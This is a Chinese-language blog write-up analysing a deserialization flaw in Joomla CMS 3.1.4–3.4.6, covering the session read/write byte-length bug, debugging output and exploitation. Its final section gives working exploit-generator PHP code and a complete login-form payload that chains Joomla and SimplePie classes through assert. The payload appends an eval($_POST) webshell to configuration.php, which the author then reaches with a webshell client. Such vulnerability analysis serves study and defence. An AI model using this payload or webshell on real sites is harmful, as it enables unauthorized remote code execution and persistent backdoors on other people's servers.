Joomla CMS 反序列化漏洞分析

Joomla CMS 反序列化漏洞分析

Gat1ta 1,174 2021-04-22

Joomla! 是一套全球知名的内容管理系统,使你可以构建网站和强大的在线应用程序。它是一个简单而强大的 Web 服务器应用程序,它需要一个具有PHP和MySQL,PostgreSQL或SQL Server的服务器来运行。

漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,获取服务器权限,实现远程命令执行。

0x0:漏洞环境搭建

该漏洞影响版本为3.1.4-3.4.6。本地测试下载的是3.4.6版本。

环境直接用的Phpstudy一键搭建,PHP版本当前是5.6.9版本,PHP版本不能太高,版本太高会报错,然后把下载好的代码解压到网站根目录就可以访问了。

0x1:漏洞原因分析

该漏洞是和Joomla的会话的运作机制有关,Joomla 会话以 PHP Objects 的形式存储在数据库中且由 PHP 会话函数处理,但是由于Mysql无法保存Null 字节,函数在将session写入数据库和读取时会对象因大小不正确而导致不合法从而溢出。因为未认证用户的会话也可存储,所以该对象注入 (Object Injection) 可以在未登录认证的情况下攻击成功,导致RCE。

当我们在 Joomla中执行 POST 请求时,通常会有303重定向将我们重定向至结果页。这是利用的重要事项,因为第一个请求(含参数)将只会导致 Joomla 执行动作并存储(例如调用write() 函数)会话,之后303重定向将进行检索(如调用read() 函数)并将信息显示给用户。

漏洞利用文件 ‘libraries/joomla/session/storage/database.php’中定义的函数 read()和 write()由session_set_save_handler()设置,作为‘libraries/joomla/session/session.php:__start’ session_start() 调用的读和写处理程序。

由于Mysql无法保存Null 字节,write函数在将数据存储到数据库之前(write函数)会用‘\0\0\0’替换‘\x00\x2a\x00’(chr(0).’’.chr(0)),而在序列化对象中, $protected 变量被赋予‘\x00\x2a\x00’前缀。

当读取数据库中的数据时, read 函数会用‘\x00\x2a\x00’(NN)替换‘\0\0\0’,重构原始对象。

这种替换的主要问题在于它用3个字节替换了6个字节,之前所述,我们能够通过动作参数的读取和写入来操纵该会话对象进行注入将被3个字节替换的‘\0\0\0’,导致对象因大小不正确(字节长度不同)导致不合法,造成溢出。

详细代码如下:

public function read($id)
  {
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();
    try
    {
      // Get the session data from the database table.
      $query = $db->getQuery(true)
        ->select($db->quoteName('data'))
      ->from($db->quoteName('#__session'))
      ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
      $db->setQuery($query);
      $result = (string) $db->loadResult();
      $result = str_replace('\0\0\0', chr(0) . '*' . chr(0), $result);读取的时候6字节替换成了3字节
      return $result;
    }
    catch (Exception $e)
    {
      return false;
    }
  }
  /**
   * Write session data to the SessionHandler backend.
   *
   * @param   string  $id    The session identifier.
   * @param   string  $data  The session data.
   *
   * @return  boolean  True on success, false otherwise.
   *
   * @since   11.1
   */
  public function write($id, $data)
  {
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();
    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);写入的时候3字节替换成了6字节。
    try
    {
      $query = $db->getQuery(true)
        ->update($db->quoteName('#__session'))
        ->set($db->quoteName('data') . ' = ' . $db->quote($data))
        ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
        ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
      // Try to update the session data in the database table.
      $db->setQuery($query);
      if (!$db->execute())
      {
        return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
      Either the data changed, or the data was identical.
      In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
      return false;
    }
  }

在这种情况下,如果我们输入\0\0\0,在写入数据库的时候没有问题,但是在读取的时候,会将\0\0\0替换为0x002a00,这样6个字节替换成了3个字节,这就可以溢出后面的数据,让我们可控的反序列化任意对象,也就造成了反序列化漏洞。

在本次曝光的Poc中就是用username字段进行溢出,password字段进行对象注入,如果插入任意serialize字符串,就可以构造反序列化漏洞了

0x2:漏洞调试

好了,知道漏洞的原理了,我们开始实际来调试一下看看现实是什么样子的。

首先打开Joomla主页,随便输入一个用户名密码,比如admin,123,点击登陆,然后跟进数据库看一下反序列化后的字符串是什么样子。

__default|a:7:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1619071882;s:18:"session.timer.last";i:1619071882;s:17:"session.timer.now";i:1619071883;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":1:{s:4:"data";a:1:{s:6:"return";s:37:"http://192.168.1.123/Joomla/index.php";}}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"54f2786e248d3ea4e686c5e9c216ed57";}

可以看到,字符串中并没有username和password字段,这是因为一次登陆操作不只有一次数据库操作,所以把前面的数据覆盖了,在数据库也就看不到username和password字段了。在这里我更改了一下原来的代码,在read和write函数中加入了一些代码,把数据写到了一个文件中保存,方便我们观察,更改后的代码如下:

public function write($id, $data)
  {
    // Get the database connection object and verify its connected.
    $db = JFactory::getDbo();
    $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
        $file = fopen("C:\\phpstudy_pro\\WWW\\writelog.txt","a+");
        $tab = "\r\n\r\n";
        fwrite($file,$data);
        fwrite($file,$tab);
        $re = str_replace( '\0\0\0',chr(0) . '*' . chr(0),$data);
        fwrite($file,$re);
        fwrite($file,$tab);
        $nots = unserialize($re);
        fwrite($file,$nots);
        fwrite($file,$tab);
        fwrite($file,unserialize($data));
        fwrite($file,$tab);
        fwrite($file,'================================================');
        fclose($file);
    try
    {
      $query = $db->getQuery(true)
        ->update($db->quoteName('#__session'))
        ->set($db->quoteName('data') . ' = ' . $db->quote($data))
        ->set($db->quoteName('time') . ' = ' . $db->quote((int) time()))
        ->where($db->quoteName('session_id') . ' = ' . $db->quote($id));
      // Try to update the session data in the database table.
      $db->setQuery($query);
      if (!$db->execute())
      {
        return false;
      }
      /* Since $db->execute did not throw an exception, so the query was successful.
      Either the data changed, or the data was identical.
      In either case we are done.
      */
      return true;
    }
    catch (Exception $e)
    {
      return false;
    }
  }

更改完代码后,我们在重新输入账号密码登陆一下,然后在服务器查看我们的writelog.txt文件,发现如下序列字符串:

__default|a:8:{s:15:"session.counter";i:3;s:19:"session.timer.start";i:1619071882;s:18:"session.timer.last";i:1619071883;s:17:"session.timer.now";i:1619072242;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":1:{s:5:"users";O:8:"stdClass":1:{s:5:"login";O:8:"stdClass":1:{s:4:"form";O:8:"stdClass":2:{s:4:"data";a:5:{s:6:"return";s:28:"http://192.168.1.123/Joomla/";s:8:"username";s:5:"admin";s:8:"password";s:3:"123";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:28:"http://192.168.1.123/Joomla/";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"54f2786e248d3ea4e686c5e9c216ed57";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

可以看到,在我们写的文件中是存在username和password字段的,接下来,就可以构建EXP了。

0x3:漏洞利用

EXP构建这一块参考P神帖子,原文链接:https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html

在可以控制反序列化对象以后,我们只需构造一个能够一步步调用的执行链,即可进行一些危险的操作了。

exp构造的执行链,分别利用了如下类:

JDatabaseDriverMysqli
SimplePie
我们可以在JDatabaseDriverMysqli类的析构函数里找到一处敏感操作:

<?php
public function __destruct()
    {
        $this->disconnect();
    }
    ...
    public function disconnect()
    {
        // Close the connection.
        if ($this->connection)
        {
            foreach ($this->disconnectHandlers as $h)
            {
                call_user_func_array($h, array( &$this));
            }
            mysqli_close($this->connection);
        }
        $this->connection = null;
    } 
}

当exp对象反序列化后,将会成为一个JDatabaseDriverMysqli类对象,不管中间如何执行,最后都将会调用__destruct,__destruct将会调用disconnect,disconnect里有一处敏感函数:call_user_func_array。

但很明显,这里的call_user_func_array的第二个参数,是我们无法控制的。所以不能直接构造assert+eval来执行任意代码。

于是这里再次调用了一个对象:SimplePie类对象,和它的init方法组成一个回调函数[new SimplePie(), 'init'],传入call_user_func_array。

跟进init方法:

<?php
function init()
    {
        // Check absolute bare minimum requirements.
        if ((function_exists('version_compare') && version_compare(PHP_VERSION, '4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
        {
            return false;
        }
        ...
        if ($this->feed_url !== null || $this->raw_data !== null)
        {
            $this->data = array();
            $this->multifeed_objects = array();
            $cache = false;
            if ($this->feed_url !== null)
            {
                $parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
                // Decide whether to enable caching
                if ($this->cache && $parsed_feed_url['scheme'] !== '')
                {
                    $cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
                } 

很明显,其中这两个call_user_func将是触发代码执行的元凶。

所以,我将其中第二个call_user_func的第一个参数cache_name_function,赋值为assert,第二个参数赋值为我需要执行的代码,就构造好了一个『回调后门』。

所以,exp是怎么生成的,给出我写的生成代码:

<?php 
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
    
}
class SimplePie {
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    {
        $this->feed_url = "file_put_contents('configuration.php','if(isset($"."_POST[\'pass\'])) eval($"."_POST[\'pass\']);',FILE_APPEND);JFactory::getConfig();";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    }
}
class JDatabaseDriverMysqli {
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    {
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    }
}
$a = new JDatabaseDriverMysqli();
$xulie = serialize($a); 
echo str_replace(chr(0).'*'.chr(0),'\0\0\0',$xulie);
?>

exp生成代码大部分都是参考P神的,只是把执行的代码改了一下,可以直接在configuration.php文件末尾附加一个后门代码。

还有就是执行代码后面必须有一个JFactory::getConfig();如果没有的话代码会无法执行,不知道具体原因是什么。

在第一次看到这个代码的时候,比较疑惑为什么不用原有的类的定义,而是自己定义了一个和原有类同名的一个类,为此专门去请教了一下P神,以下是P神的原话:

简单说一下PHP反序列化。PHP反序列化,如果这个字符串满足序列化的格式,那么他一定能反序列化成PHP里的某个对象,即使这个类名不存在,或者多了、少了一些属性。
如果你是想通过反序列化得到一个原始类的对象,并且能正常使用原始类中的方法,那么你需要设置好这个类中所有属性,包括这些属性的访问修饰符(public/protected/private),不包括静态属性。protected和private属性名中是包含\0字符的,这个是新手容易犯的错误,把\0丢了,导致反序列化出错。
如果你没有设置原始类中的属性,那么反序列化之后的对象的这些属性会一个默认值,比如null。
在PHP反序列化的利用中,不要纠结于是否能还原“原本的类”,我们不需要还原原本的类,只需要调用到原本的类里那些特殊的魔术方法,且在执行到关键点之前不要出错。
通过上面的EXP生成代码,再加上username的溢出控制,得到以下POC:

username:\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
password:AAA";s:8:"password";O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:105:"file_put_contents('configuration.php','if(isset($_POST[\'pass\'])) eval($_POST[\'pass\']);',FILE_APPEND);";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}

再次打开joomla主页面,输入username,password点击登陆,得到以下页面:
image.png

查看服务器的configuration.php文件,发现文件尾部已经被写入webshell:
image.png

通过菜刀连接,打开虚拟终端:
image.png

成功获取Webshell~. ~